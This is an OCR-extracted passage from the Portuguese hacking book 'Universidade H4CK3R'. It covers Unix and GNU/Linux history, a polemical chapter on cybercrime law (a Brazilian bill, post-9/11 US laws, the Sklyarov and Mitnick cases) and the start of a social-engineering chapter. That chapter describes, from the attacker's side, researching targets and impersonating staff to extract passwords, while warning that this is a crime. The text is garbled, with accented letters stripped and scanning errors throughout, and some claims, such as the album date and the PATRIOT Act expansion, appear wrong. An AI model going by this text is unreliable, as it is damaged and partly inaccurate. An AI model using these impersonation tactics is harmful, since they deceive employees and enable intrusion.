de que o produto no possui falhas - e se houver, voc mesmo pode corrigi-las.Mas
voc tem certeza de que elas no esto escondidas, um triste ato de m-f de algumas empresas de tecnologia por a... Outra vantagem o alto grau de personalizao
que um sistema desses oferece. Sendo aberto, qualquer um pode modific-lo para
atender a seus interesses.
A desvantagem fica por conta dos paradigmas gerados pelo modelo tradicional de negcios, sendo garantia e suporte os mais comentados. Isso resolvido
em parte por empresas que vendem solues baseadas nesses sistemas, mas
ainda um mercado no consolidado e h muitos amadores solta. At que se
separe o joio do trigo, muitos tero perdido dinheiro com eles - e erradamente
colocaro a culpa no software.

1106

1
Plataforma

Unix r

Universidade 1 ano

Free as in free speech...


Nos primrdios da computao, no havia essa noo de software aberto ou
proprietrio porque todos os programas podiam ser livremente compartilhados. Os usurios de informtica de ento eram quase todos cientistas, e o
compartilhamento de informaes algo trivial entre eles. O dinheiro do mercado de informtica circulava apenas para as mos dos fabricantes de hardware.
Mas, medida que o tempo foi passando, apareceram empresas produtoras de
software destinado venda. Obviamente no era do interesse dessas empresas
que seus softwares fossem copiados e distribudos gratuitamente, portanto o
cdigo-fonte no era divulgado. Isso passou a ser comum a partir de ento.
Richard Stallman era um programador que trabalhava para uma empresa privada. Ocorre que escreveu um programa que achou realmente bom e quis
compartilh-lo com a comunidade Unix de ento - mas foi impedido pelo seu
empregador. Stallmann ficou to frustrado que radicalizou: pediu demisso e,
em 1984, criou um projeto - o GNU - e uma licena - a GPL.
O projeto GNUlO- GNU's Not Unix - uma tentativa de criar um clone dos
sistemas Unix que Stallmann usava, mas que no possuam nenhum cdigo original da AT&T.J foram criadas diversas ferramentas para o sistema, incluindo as
de manipulao de arquivos (1s,cd, pwd, caL.), compiladores (gcc e g77, para C
e Fortran, respectivamente) e programas complexos como a linguagem de scripts
gawk e o editor de textos Emacs. O kemel, entretanto, nunca ficou pronto.
A licena GPL - General Public Licence ou Licena Pblica Geral - expressamente permite a cpia e a distribuio gratuita do programa sob essa licena,
desde que os cdigos-fonte do programa sejam distribudos tambm. Isso permite a reutilizao do cdigo por outras pessoas sem restries - a no ser a de
respeitar os direitos dos autores originais e nunca fechar o cdigo resultante,
impedindo que outros tenham acesso a ele.
Detalhes sobre o que Software Livre e o que Cdigo Aberto encheriam
todas as pginas deste livro. Nosso objetivo no versar sobre esse assunto.
Mais informaes podem ser obtidas no site oficial do projeto GNU
(www.gnu.org). da Free Software Foundation (www.fsf.org) e do Open Source
Initiative (www.opensource.org).

A dana dos pingins


Como vimos, o projeto GNU empacou no desenvolvimento de seu prprio
keme1. Nesse meio tempo, um finlands maluco chamado Linus Torvalds criava
um kernel que seria um fenmeno mundial: o Linux. Inicialmente apenas um
sistema de comunicao com um BBS,o prottipo rapidamente evoluiu para

10 Depois do GNU, virou moda criar programas cujos nomes sejam siglas recorrentes. O smbolo do
projeto GNU um animal encontrado na frica e parecido com um biso, cujo nome ... Gnu.
1107

] Plataforma

Unix

I Universidade

H4CK3R I

um kerne1 completo. Em 1991,Torvalds decidiu colocar o Linux sobre a licena


GPL e usar as ferramentas GNU com seu kernel. por isso que os preciosistas
do mundo da computao (eu me incluo neste grupo!) referem-se ao sistema
como GNU/Linux - seria injusto com o Sr. Stallman se no fosse assim.
O Linux hoje um Unix-clone de baixssimo custo e altssimo desempenho. Projetado inicialmente para o lliM-PC,roda em vrias plataformas de hardware com o
mesmo cdigo e funcionalidade

- feito ainda no alcanado por nenhum outro

sistema operacional.
O problema do Linux sua triste falta de padres. Existem centenas de distribuies ao redor do globo, cada uma com uma estrutura interna - incluindo hierarquia de diretrios - prpria. Como frisamos no incio do captulo, a base dos Unix
seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o.
mesmo kernel, so incompatveis entre si. O padro Linux Standard Base ou LSB
(www.linuxbase.org) um esforo das maiores distribuies do mundo para resolver o problema. Acredita-se que em poucos anos haja compatibilidade total entre
todas as distribuies que aderirem ao padro.
Para saber mais sobre o GNU/Linux, o melhor ponto de partida o site oficial,
www.linux.org. Para mais informaes, basta procurar por ele em seu mecanismo de busca favorito. O Google possui um endereo dedicado a Linux em
www.google.com/linux. H revistas especializadas que podem ser consultadas,
entre elas a Revista do linux, a Arquivo linux, a linux BR, e muitos bons livros
podem ser encontrados em livrarias. Mas no deixe de estud-lo. obrigatrio!

o diabinhoque ri...
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite
as variantes livres do Unix da Universidade de Berkeley. Com suas licenas menos restritivas que a GPL,os sistemas *BSDpodem ser usados em solues que a
licena do GNU/Linux no permitiria. Cada um tem suas caractersticas, e uma
leitura em seus sites oficiais certamente o deixar tentado a experiment-Ios.
Muitos usurios dos *BSD(especialmente do FreeBSD) saram do Linux e dizem
que no voltam mais. Informaes sobre o BSD podem ser obtidas em:
~ FreeBSD

- www.freebsd.org

~ OpenBSD - WWTv.openbsd.org
~ NetBSD

- www.netbsd.org

~ O BSD comercial da BSDi - www.bsdi.com

1108 I
Plataforma Unix [

Universidade 1ano

Vou can go on your own way...11

Nestas poucas pginas, tentamos introduzir os princpais conceitos dos sistemas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto,
seria imprudente (e desonesto) tentar condensar em um captulo o contedo
de vrios deles.
Mas muito importante que o leitor estude sobre Unix com afinco e procure
outros livros e outras fontes. Visite regularmente todos os sites indicados ao
longo do captulo e vasculhe-os completamente. Nada to poderoso na mo
de um hacker quanto uma conta em um computador Unix ligado Internet.

11 Fleetwood Mac, do lbum Rumours de 1975.

1109I

] Plataforma

Unix

Fundamentos

Jurdicos
Captulo
'An nescis longas regibus esse manus

?"I

Ovdio,em Herodes, 17:166

1 No sabes como as mos dos reis so compridas? Um ditado popular francs Oes rois ont
les bras longs - os reis tm os braos longos) derivado desse trecho das Herodes.

I Universidade

H4CK3R I

Se voc est lidando com situaes-limite, nunca demais ter uma viso geral
dos aspectos jurdicos que as afetam diretamente.
Poucas situaes so to
limtrofes quanto as enfrentadas pelos usurios de informtica em geral e pelos
hackersl em especial. O que crime? O que direito? O conhecimento uma das
principais armas do hacker, que deve estar atento aos movimentos feitos pelos
governos e s polticas institudas pelas empresas quanto manipulao de dados. A ignorncia em relao s leis pode trazer srios problemas, mesmo em
casos simples em que o usurio age de forma inocente sem saber que est cometendo um crime. Estar atento aos casos que j ocorreram, para que no haja
nenhuma dvida de onde e como agir, no mnimo uma atitude sbia.
A palavra legislao nos d uma vaga idia de estar lidando com o bem e o mal. H
uma grande discusso sobre a relatividade desses conceitos, mas devemos ter em mente que a tica que rege o possvel contedo dessas leis parte da necessidade de proteo das empresas e dos governos. Nem sempre as leis so feitas para o cidado, nem
sempre o que legal moralmente correto. Portanto, os indivduos que a imprensa
simplria costuma chamar de hackers nem sempre podem ser tachados de bandidos,
embora, segundo a lei, geralmente incomun em crimes por ela previstos. Robin Hood
era criminoso, mesmo agindo segundo princpios morais extremamente elevados.
As grandes estratgias para o combate aos cibercrimes
comearam
a ser
elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia
11 de setembro de 2001. Desde ento o governo norte-americano
passou a
ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros
governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e,
"de quebra", em todos os outros...

Por que a sociedade teme os hackers?


Para a sociedade, a imagem dos hackers est intimamente
ligada ao crime.
Esse esteretipo vem da falta de compreenso do universo digital em que esto
inseridos. Eles so vistos como destruidores e ladres de dados, que se utilizam
de meios ilcitos para roubo, vandalismo ou lavagem de dinheiro.
Muito dessa imagem fruto da divulgao mope promovida pelos meios de
comunicao. Nunca o outro lado, o lado do underground, o lado da guerrilha, o
lado da resistncia, levado em conta. Apenas as empresas e os governos, alguns deles autoritrios
(embora travestidos de democrticos),
tm espao na
mdia quando um evento desses acontece.
A pergunta que fica : voc realmente acredita em tudo o que l? Talvez o
jornal televisivo das 21h no seja aquela fonte confivel de informao
que
voc est acostumado a pensar que era.

2 Fntendaapalavrahacker nessepargrafo tanto em seu senddo origimJl (especiaJista)como no popular (especia1ista


malvado). Ambos devem saber at onde podem ir, e deddir se vo tr.msgredir ou no os (nem sempre justos ou
moralmente corretos) limites legais.

1112I
Fundamentos Jurdicos [

Universidade 1 ano

As liberdades individuais e o
direito privado
Ningum tem direito de invadir a privacidade das pessoas. Mesmo parecendo bvio, afirmaes como essas tm de ser includas em qualquer documento
ou lei que trate das garantias de inviolabilidade privada. As constituies de
quase todos os pases possuem algum dispositivo semelhante, e mesmo a Declarao Universal dos Direitos Humanos prev a proteo vida pessoal e
privada das pessoas j em seus primeiros pargrafos.
O que tristemente vemos acontecer todos os dias, desde o fim da 23 Guerra
Mundial, um recrudescimento das leis nacionais buscando um maior controle
dos governos sobre seus cidados. Todos os dias, desde ento, novas tecnologias
so aplicadas em controversos e arbitrrios sistemas de monitorao. Com a
desculpa de que "a polcia precisa fazer seu trabalho", muitas pessoas durante
todo o sculo XX tiveram seus telefones grampeados, suas correspondncias
violadas, seus passos seguidos e, nos anos 90, sua atividade na Internet vigiada.
Quantos segredos pessoais - mesmo no sendo crimes - no foram revelados
publicamente por conta dessa arbitrariedade?
Alguns pases comearam a chamar para si a responsabilidade de ser a "polcia do mundo" e, para tanto, at hoje submetem outros governos menos poderosos s suas polticas. Fingindo estar caa de terroristas ou de proteger o
mundo contra indivduos perigosos (e jogando num mesmo caldeiro hackers,
terroristas,

guerrilheiros

e comunistas

quem

no se lembra

da guerra

fria?),

naes poderosas violam a soberania de pases e impem suas cartilhas comerciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo?
Longe de entrar nessa discusso poltica, os autores querem chamar a ateno
do leitor para o perigo incipiente da aprovao de leis ou mesmo constitues
elaboradas para proteger os interesses de terceiros e no dos cidados. Pergunte a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de
garantias que empresas estrangeiras possuem aqui no Brasil em detrimento das
necessidades bsicas dos cidados, sempre deixadas em segundo plano.
Toda moeda tem dois lados. H hackers agindo com conduta duvidosa. H
gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho.
H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos
e empresas com intenes no muito nobres, h hackers (e no so poucos)
que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que
protejam indivduos e entidades pblicas e privadas desses "hackers do mal"
sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.

1113

] Fundamentos

Jurdicos

I Universidade

H4CK3R

o direito informaoe os ataques


liberdade
J que no podemos confiar em governos e suas leis, por que ento disparar flechas
acusadoras sobre pessoas que o establishment considera como criminosas? Usando o
bom senso3 , qualquer um na rua perceberia que uma pessoa como Dmitry Sklyarovno
teve a inteno de prejudicar uma empresa como aAdobe, mas sim alertar os possveis
usurios e a prpria Adobe que seu sistema de criptografia era (e ainda ) fulho. Mas a
empresa no entendeu dessa forma, e usou os dispositivos legais previstos pelo Digital
Millenium Copyright Act, o fmigerado DMCA, para process-lo.
Esse um dos muitos casos de leis injustas ou malidosas que trabalham em favor de
governos ou grandes empresas e contra o interesse comum. hnagine empresas e indivduos confiando cegamente na criptografia da Adobe para proteger seus documentos, sejam eles segredos industriais ou correspondndas amorosas. Com esse processo contra
o hacker russo, a Adobe tentou varrer para debaixo do tapete os problemas de sua
tecnologia, em vez de agradecer a Sklyarov ou mesmo contrat-Io para melhor-Ia.
Alguns meses depois, todos os sites de noridas de tecnologia divulgaram a tentativa da
Microsoft de transformar em crime a divulgao de f.1hasde software por "agentes no
autorizados" (leia-se:eu e voc). Com o pretexto de que as divulagaes de f.1has"atrapalham a inovao", tentativas como essas procuram institudonalizar a sujeira sob o tapete.
Tal iniciativa, na poca, no resultou em uma lei. Mas no espere que a turma de
Redmond tenha desistido da idia.
No s as empresas so beneficiadas por essas aberraes legais. A atual administrao
federal dos Fstados Unidos da Amrica divulgou um documento chamado de Doutrina
Bush, que escancara a supremacia norte-americana e fere de fonna pornogrfica os direitos
de ddados no mundo todo e as soberanias de todos os pases do globo.
Todos os governos e a maioria das grandes empresas manipulam ou escondem informaes e criam leis para tornar isso legal, mesmo que as informaes sejam sobre voc,
caro leitor, ou o afetem de alguma forma. Portanto, na prxima vez em que um hacker
invadir um site do governo ou empresa e divulgar informaes escabrosas sobre a administrao que voc pode ter ajudado a eleger, reflita bastante e use o seu bom senso (e
no o senso comum) para decidir quem o mocinho e quem o bandido.
Mas e os hackers realmente maus? E as situaes no- previstas? E os hackers "por addente"?Toda histria tem dois lados,e o moralmente correto nem sempre o que est dentro da
lei. Mas algumas vezes est."No julgueis,para que no sejais julgados. Pois com o critrio
com que ju1gardes,sereis julgados... Portanto, tudo quanto, pois, quereis que os homens
vos faam, assim fazei~ vs tambm a eles..:' (Evangelho de So Mateus 7:1,2,12).
3 Na

escolinha

de ingls aprendemos

o common sensedosnorte-americanos

que anossa

expresso

"bom senso"rraduz-6e

pode serescrito como senso comumA

como

"common

sense"em

ingls.Numa

dikrena entre ambas asronnas,enrretanto,no

lraduio

literal,

apenas literal.

Os povos latinos, europeus, ali'icanos e asiticos tm essa noio de bom senso: mdocina.t primeiro at encontrar" uma soluio lgica, usando
a sabedoria popular. J o common sense tem uma conotao dikrente:usaras convenes j prontas presentesna cultura estadunidense,sem
"parar paIa pensar".Portanto,

1114

Fundamentos

Jurdicos

bom senso igual a pensatantes

de agir.J common

sense sinnimo de idia pr<:oncebida...

Universidade 1ano

A legislao brasileira

o grande tnrnfo dos hackers brasileiros a falta de legislao apropriada para


lidar com os crimes eletrnicos. A falta de leis especficas torna o Brasilrun verdadeiro paraso para todo o tipo de invaso e manipulao ilcita de dados. As punies aplicadas so baseadas em leis que se aproximam da situao do crime eletrnico. Grande parte dos casos resolvidos pelas autoridades nacionais relativa a
casos de pirataria e pedoftlia, e no invaso e "hackeamento" de sistemas.
A falta de proteo legal preocupa muito o governo e as grandes empresas,
pois estas so obrigadas a gastar quantias elevadas de dinheiro com softwares
e equipamentos para garantir a segurana de seus dados, e mesmo assim no
conseguem evitar a ao dos vndalos digitais.
Preocupados com a situao, vrios deputados formularam projetos de lei
para deter a ao dos invasores. Mas devido ao lento processo de aprovao,
total ignorncia dos parlamentares em relao ao assunto e s diversas correes e alteraes que devem ser feitas at que tudo esteja adequado, os hackers
podem continuar utilizando suas habilidades para continuar suas pesquisas. A
seguir, temos run trecho especfico do projeto de lei criado pelo deputado Dcio Braga que trata dos crimes de informtica:

"Dispe sobre os crimes de informtica e d outras providncias"


CAPiTULO III
DOS CRIMES DE INFORM TICA
Dano a dado ou programa de computador
Art. 8.Apagar,destruir,modiflcar ou de qualquer forma inutilizar,total ou parcialmente, dado ou programa de computador, de forma indevida ou no autorizada.
Pena: deteno de um a trs anos e multa.
Pargrafo nico. Se o crime cometido:
I - contra o interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou
entidade da administrao direta ou indireta ou de empresa concessionria de
servios pblicos;
11- com considervel prejuzo para a vtima;
m - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W - com o uso indevido de senha ou processo de identificao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudulento.
Pena: deteno de dois a quatro anos e multa.
Acesso indevido ou no autorizado
Art. 9. Obter acesso, indevido ou no autorizado, a computador ou rede de
computadores.
1115
I

Fundamentos

Jurdicos

I Universidade

H4CK3R

Pena: deteno de seis meses a um ano e mu1ta.


Pargrafo primeiro. Na mesma pena incorre quem, sem autorizao ou
indevidamente, obtm, mantm ou fornece a terceiro qualquer meio de identificao ou acesso a computador ou rede de computadores.
Pargrafo segundo. Se o crime cometido:
I - com acesso a computador ou rede de computadores da Unio, Estado,
Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos;
II - com considervel prejuzo para a vtima;
111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudulento.
Pena: deteno de um a dois anos e multa.
Alterao de senha ou mecanismo de acesso a programa de computador ou
dados
Art. 10.Apagar, destruir, alterar, ou de qualquer forma inutilizar, senha ou
qualquer outro mecanismo de acesso a computador, programa de computador
ou dados, de forma indevida ou no autorizada.
Pena: deteno de um a dois anos e multa.
Obteno indevida ou no autorizada de dado ou instmo de computador
Art. 11. Obter, manter ou fornecer, sem autorizao ou indevidamente, dado
ou instruo de computador.
Pena: deteno de trs meses a um ano e mu1ta.
Pargrafo nico. Se o crime cometido:
I - com acesso a computador ou rede de computadores da Unio, Estado,
Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos;
11- com considervel prejuzo para a vtima;
111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudu1ento.
Pena: deteno de um a dois anos e mu1ta.

1116I
FundamentosJurdicos[

Universidade 1ano

Violao de segredo armazenado em computador, meio magntico de


natureza magntica, ptica ou similar.
Art. 12. Obter segredos, de indstria ou comrcio, ou informaes pessoais
armazenadas em computador, rede de computadores, meio eletrnico de natureza magntica, ptica ou similar, de forma indevida ou no autorizada.
Pena: deteno de um a trs anos e multa.
Criao, desenvolvimento ou insero em computador de dados ou programa de computador com fins nocivos
Art. 13. Criar,desenvolver ou inserir, dado ou programa em computador ou
rede de computadores, de forma indevida ou no autorizada, com a fmalidade
de apagar, destruir, inutilizar ou modiflcar dado ou programa de computador
ou de qualquer forma diflcultar ou impossibilitar, total ou parcialmente, a utilizao de computador ou rede de computadores.
Pena: recluso de um a quatro anos e multa.
Pargrafo nico. Se o crime cometido:
I - contra interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou
entidade da administrao direta ou indireta ou de empresa concessionria de
servios pblicos;
11- com considervel prejuzo para a vtima;
III - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
VI- com o uso indevido de senha ou processo de identiflcao de terceiro; ou
VII - com a utilizao de qualquer outro meio fraudulento.
Pena: recluso de dois a seis anos e multa.
Veiculao de pornografia atravs de rede de computadores
Art. 14.Oferecer servio ou informao de carter pornogrfico, em rede de
computadores, sem exibir, previamente, de forma facilmente visvel e destacada, aviso sobre sua natureza, indicando o seu contedo e a inadequao para
criana ou adolescentes.
Pena: deteno de um a trs anos e multa.
Como podemos notar, o projeto abrangente, lidando com assuntos que vo
desde invases at a criao de vrus e programas que possam danificar dados
alheios. Com certeza, a "nao hacker" teria a maioria dos seus atos coibida
caso a lei estivesse em vigor. Mas, alm do processo de aprovao da lei, o governo tem de prover condies para que elas sejam executadas.

1117I

] Fundamentos

Jurdicos

I Universidade

Leis internacionais aps o dia 11 de


setembro de 2001
Nos Estados Unidos da Amrica
Aps o fatdico dia 11 de setembro de 2001, caracterizado pelos atentados ao
WorldTrade Center e pentgono, muita coisa mudou em relao vida dos hackers
no mbito internacional. No mesmo dia em que os avies derrubaram as torres
do WTC, os agentes do FBI j intimavam os maiores provedores de acesso a
instalarem o software Carnivore, conhecido pela sua capacidade de ftltrar mensagens de e-mail em busca de palavras e expresses relacionadas ao atentado.
Alm disso, o governo americano diminuiu os entraves judiciais para o
uso de escutas telefnicas, eliminou a necessidade de provas e at revogou
a lei que proibia a CIA de organizar assassinatos contra inimigos externos.
Estudos realizados pelo Pentgono sobre o ciberterrorismo mostraram que
ataques de crackers poderiam parar o pas, j que os reservatrios de gua,
energia eltrica e gs so controlados por centros de computao que podem ser invadidos remotamente de maneira ridiculamente fcil.
Uma das leis criadas pelo departamento foi a USA Act, que possui uma
seo especial voltada para o ciberterrorismo. O USA Act prev punio
para toda forma de vandalismo eletrnico que possa atingir empresas e
cidados, incluindo invases vindas de outros pases. Isso significa que, se
rastreado, o invasor ser punido de acordo com as leis internacionais.
Com as novas leis e medidas americanas, os legisladores americanos transformaram milhares de crackers e hackers em terroristas por definio. Um dos
pargrafos da PATRIOT (provide Appropriate Tools Required to Intercept and
Obstruct Terrorism Act) diz o seguinte: aquele que, com conhecimento, cause
transmisso de um programa, informao, cdigo ou comando e, como resultado
de tal conduta, intencionalmente cause dano sem autorizao, para um computador protegido [estar em violao deste estatuto]. Isso significa que, como foi
dito antes, hackers viraram terroristas para os americanos. Como se j no fosse
suficiente, ser considerado terrorista praticamente significa priso perptua.
Est em elaborao um conjunto de novas leis (na verdade a ratificao
legal da Doutrina Bush) chamado de Homeland Security Act, que promete
endurecer o cerco aos inimigos dos Estados Unidos em todas as frentes: militar, comercial, armamentista, poltica e digital. Espere para ver em breve
aes paramilitares norte-americanas em outros pases visando prender ou
assassinar pessoas acusadas de hackerismo.
A lei americana pode funcionar como um modelo para definir os padres mundiais que so discutidos anualmente pela Interpol, que criou uma diviso especial, a
Unidade de Crimes de Alta Tecnologia, para combater os crimes eletrnicos.
1118

FundamentosJurdicos[

Universidade 1ano

Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Estados Unidos. Todas baseadas no rastreamento de informaes pessoais sem qualquer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de mensagens de qualquer provedor. A adoo do padro norte-americano mostra mais
uma vez que o mundo est prximo de estabelecer uma forte estratgia de combate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais.
Como efeito colateral, ferir tambm alguns direitos e a privacidade de cidados
reconhecidamente inocentes ("Mate todos! Um deles terrorista...").

Casos de hackers famosos


Para o governo eles so criminosos. Para a nao hacker, heris. Vamos apresentar dois dos casos mais conhecidos de aplicao de leis contra os crimes
eletrnicos. Dmitry Sklayrov e Kevin Mitnick so dois timos exemplos de como
as leis internacionais relacionadas invaso, hackeamento de software e utilizao de engenharia social so aplicadas na realidade.

o russo

que "hackeou" a Adobe

o programador russo Dmitry Sklayrov foi acusado de comercializar uma


ferramenta que quebra as medidas de segurana do programa Adobe Book
Reader logo aps dar uma palestra sobre segurana na DefCon em julho de
2001. O Advanced eBook Processor pode quebrar a senha de segurana criada
pela Adobe, transformando um e-book criptografado em um simples PDF.Ele
foi enquadrado na lei que visa a proteo do direito intelectual para os produtos digitais, o Digital Millenium Copyright Act, dispositivo horrendo e nazista
mais conhecido como DMCA.
A parte mais estranha que a prpria Adobe decidiu retirar as acusaes. As
crticas internacionais e as ameaas de boicote foram os principais motivos que
fizeram com que a empresa fizesse uma reviso de conscincia. Apesar disso, a
situao de Dmitry no melhorou em nada, pois o governo americano no retirou as acusaes.
Aps pagar uma multa de US$ 50 mil e ficar detido na Califrnia por cinco
meses, o russo obteve a liberdade por meio de um acordo em que apoiaria o
governo norte-americano. A condio imposta foi a de ficar sob observao
durante um ano, e s ento ele seria absolvido completamente.

1119
I

Fundamentos

Jurdicos

I Universidade

H4CK3R I

o hacker mais famoso do mundo


Um dos maiores dolos da nao hacker. A histria de Kevin Mitnick com
certeza daria material para uma verdadeira enciclopdia. Em 1989 foi procurado pelo FBI acusado de roubar um software secreto de pesquisa da Digital
Equipment Corpo E a Corte norte-americana decretou que o hacker seria preso
sem direito fiana. A Corte justificou dizendo que ele representava uma ameaa comunidade e mesmo segurana nacional ao utilizar um teclado.
Aps um ano de priso, Mitnick foi posto em liberdade, mas em pouco tempo j
estava violando os termos de sua condicional. Em 1992 era suspeito de ter
crackeado sistemas de informtica e obter acesso aos registros do FBI.Em novembro do mesmo ano, Mitnick desapareceu misteriosamente sem deixar rastros. As
autoridades achavam que ele estaria usando falsas identidades para se esconder.
Em 1994, o hacker se deparou com o especialista em segurana Tsutomu
Shimomura, do Centro Nacional de Supercomputao, em San Diego, na
Califrnia. Ele havia alterado o sistema pessoal de Shimomura, que ficou indignado, pois se considerava um dos melhores especialistas em segurana do pas.
Mitnick ganhou acesso por meio de um computador da Loyola University, de
Chicago, autorizado a mandar informaes para a mquina do especialista. A
partir desse ponto, foi armado um esquema em conjunto com o FBI para encontrar o hacker. Shimomura instalou um computador para monitorar todas
as aes realizadas em seu prprio equipamento.
Mitnick no fazia idia da operao montada e continuou com os ataques. No
dia 15 de fevereiro de 1995, foi localizado. Ele passou cinco anos na cadeia
aps invadir empresas como a Motorola e a Nokia. Durante esse tempo uma
legio de fs lutou por sua liberdade, organizando movimentos como o Free
Mitnick. Ele ainda sofreu 23 acusaes federais de fraude no sistema telefnico
por uso ilegal de componentes de acesso para evitar tarifas, alm de ser considerado como "terrorista da informtica" pelo governo americano.

1120

Fundamentos

Jurdicos

Engenharia
8

Gela
Captulo

For hard cash we wil! fie and deceive.


And even our masters don 't know the
webs we weave "7
Pink

"Por

E nem

dinheiro

g-rosso

nos

InentireulOs

Floyd,"Dogs

of War"

eng-anareInos.

nossos Inestres sabeuJ das teias que teceIIlos


':

Do tilbum A Momentary

Lapse of Ileason,1987

I Universidade H4CK3R I

Este captulo bem curto, se comparado com os outros, menos tcnicos. Tambm aparentemente o mais distante do que se espera de um livro como este.
Mas no se engane: as informaes aqui contidas so as mais importantes de
todo o livro. Um ataque muito complicado pode se transformar em algo
simplssimo, caso a engenharia social seja empregada. Portanto, antes de quebrar a cabea com solues puramente tecnolgicas, pense primeiro que enganar o alvo e faz-Iotrabalhar para voc pelo lado de dentro muito mais rpido.
O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais
sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados fmanceiros, pessoais e hierrquicos, entende-se as idiossincrasias tcnicas e polticas
da empresa: instalaes fisicas e lgicas, topologias de rede, polticas de senhas e
chaves de criptografia.
O termo engenharia social pode parecer num primeiro momento algo distante
do universo hacker. Basicamente, significa a "garimpagem" de informaes vitais
sobre uma determinada pessoa, empresa, produto ou organizao. Essas informaes so provenientes quase sempre de pessoas prximas ao indivduo a ser atacado ou do prprio quadro de funcionrios e clientes - no caso de empresas.
Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utiliza tticas que vo desde cartas e telefonemas, passando por pesquisas nos depsitos de lixo at a abordagem pessoal.
As tcnicas de engenharia social exigem uma preparao psicolgica profunda
e contnua. O candidato a invasor deve estar pronto para estudar o comportamento do seu alvo e entender melhor seu modus operandi, incluindo at o
monitoramento de horrios. Mesmo com investimentos pesados na rea de segurana, grande parte das empresas (seno todas) no est preparada para lidar
com esse fator. Lembre-se de que o espio usar a boa vontade, a cortesia, a ingenuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.

Atenco: isso crime!


I

O mundo da engenharia social parece ser algo muito tentador. Mas, diferente
dos crimes digitais, que no possuem uma legislao bem definida no pas, todas as tcnicas citadas so consideradas crimes passveis de punio, que vo
desde o pagamento de multas at a deteno. A interpretao legal baseia-se na
configurao dos atos de engenharia social como falsidade ideolgica, caracterizada pela incorporao de uma identidade alheia (impostura) seguida de fraude.
Dependendo do destino dado s informaes recebidas (por exemplo, em caso
de fraude financeira), o invasor responder tambm pelo crime de estelionato.
O propsito deste captulo demonstrar superficialmente as tcnicas utilizadas na engenharia social. importante que todos conheam essas tcnicas, mas
no recomendamos a ningum utiliz-Ias: pelas leis brasileiras e da maioria dos
pases elas so consideradas prticas criminosas, com punies bem severas.

11241
EngenhariaSocial[

Universidade 1Ano

Tipos de ataque
Existem basicamente dois tipos de ataques: o direto e o indireto. A eficincia
deles depende das habilidades pessoais do hacker e do quanto ele se identifica
com os processos. Normalmente, necessrio utilizar uma combinao de ambos para obter o resultado desejado. Para chegar abordagem direta, o invasor
deve ter conseguido uma bela coleo de informaes obtidas de modo indireto.
S assim poder "saber do que est falando" quando abordar um funcionrio do
teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aquele fax dizendo que o gerente da filial solicitando informaes.

Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como
cavalos de tria e sites com cdigo malicioso) e de impostura (como cartas,
e-mails e sites falsos com a aparncia dos verdadeiros) para obter informaes
pessoais. Os usurios individuais de quem o hacker extrai os dados so apenas
vetores para a coleta de informaes de uma entidade maior - empresa, organizao ou governo. Sua inteno no atacar cada um desses usurios, e sim o
organismo maior ao qual elas pertencem.

Ataque direto
So caracterizados pelo contato pessoal. Geralmente so feitos por fax ou
telefone (embora hackers mais confiantes ousem faz-Ios pessoalmente...) e
exigem planejamento detalhado e antecipado, vrios planos de emergncia
para cada uma das fases do ataque previamente planejadas e um pouco de
dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve
ser bem articulado para que seu plano no seja desmascarado, e tambm ter
raciocnio rpido para encontrar sadas caso algo fora do planejado d errado.

Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extremamente vago. Na prtica, existem algumas tticas simples que devem ser usadas
na elaborao do procedimento de ataque. As principais armas de um engenheiro social podem ser divididas em dois grandes grupos: pesquisa e impostura.
Comecemos pela pesquisa. A aquisio de material, como relatrios anuais e
lista de pagamento, pode dar uma tima viso da hierarquia adotada na empresa.
Isso ajuda muito na hora da seleo dos alvos pontuais (lembre-se: um pedacinho
de informao extrado de cada usurio resulta em um bolo valiosssimo quando
reunido s outras pequenas informaes extradas dos outros usurios). O hacker
pode descobrir quem detm o material necessrio para a invaso e outras informaes importantes para o ataque, como departamento em que a pessoa trabalha,
softwares utilizados, sistema operacional, hardware e sistemas empresariais.

] Engenharia

1125 I
Social

I Universidade H4CK3R I

Observe que nem sempre os dados teis esto escritos: uma anlise dos resultados de sua busca, compreendendo combinaes e cruzamento de informaes,
importantssima. "Ler nas entrelinhas" nunca foi to necessrio...
Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as
informaes e quais so elas, o hacker deve pensar nos meios que utilizar para
extrair mais dados. nesse ponto que entra a impostura: o hacker deve se fazer
passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores,
